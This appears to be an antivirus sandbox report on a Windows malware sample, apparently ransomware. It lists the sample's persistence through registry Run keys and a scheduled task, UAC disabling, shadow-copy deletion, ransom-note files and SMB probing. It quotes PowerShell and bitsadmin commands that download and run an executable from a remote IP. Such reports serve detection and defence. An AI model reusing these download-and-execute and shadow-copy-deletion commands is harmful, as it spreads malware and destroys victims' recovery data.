Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'update' = '%APPDATA%\Microsoft\Temp377346.exe'
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'update' = '%APPDATA%\Microsoft\Temp377346.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\update
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
deletes volume shadow copies.
Creates and executes the following
- '%LOCALAPPDATA%\temp377346.exe'
- '%LOCALAPPDATA%\temp274624.exe'
Downloads and executes
- http://21#.#.117.63/tspm.exe as %localappdata%\temp377346.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\temp377346.exe
- %LOCALAPPDATA%\bit4bc0.tmp
- %APPDATA%\microsoft\temp377346.exe
- z:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\desktop.ini
- C:\far2\addons\colors\custom_highlighting\113202-readme.html
- D:\113202-readme.html
- C:\far2\addons\colors\default_highlighting\113202-readme.html
Sets the 'hidden' attribute to the following files
- %LOCALAPPDATA%\bit4bc0.tmp
- z:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\desktop.ini
Moves the following files
- from %LOCALAPPDATA%\bit4bc0.tmp to %LOCALAPPDATA%\temp274624.exe
Network activity
Connects to
- '<LOCALNET>.69.1':445
- '<LOCALNET>.69.1':139
TCP
HTTP GET requests
- http://21#.#.117.63/tspm.exe
UDP
- DNS ASK ap#.#yip.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://21#.#.117.63/tspm.exe','%LOCALAPPDATA%\Temp377346.exe');Start-Process '%LOCALAPPDATA%\Temp377346.exe...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer downit /download /priority high http://21#.#.117.63/tspm.exe %LOCALAPPDATA%\Temp274624.exe&start %LOCALAPPDATA%\Temp274624.exe' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://21#.#.117.63/tspm.exe','%LOCALAPPDATA%\Temp377346.exe');Start-Process '%LOCALAPPDATA%\Temp377346.exe...
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer downit /download /priority high http://21#.#.117.63/tspm.exe %LOCALAPPDATA%\Temp274624.exe&start %LOCALAPPDATA%\Temp274624.exe
- '<SYSTEM32>\bitsadmin.exe' /transfer downit /download /priority high http://21#.#.117.63/tspm.exe %LOCALAPPDATA%\Temp274624.exe
- '%WINDIR%\syswow64\wbem\wmic.exe' SHADOWCOPY /nointeractive
- '<SYSTEM32>\vssvc.exe'
- '<SYSTEM32>\taskeng.exe' {6DA764C0-5AE3-4B28-A089-4C31A102B792} S-1-5-21-1960123792-2022915161-3775307078-1001:lgnetdclky\user:Interactive:[1]
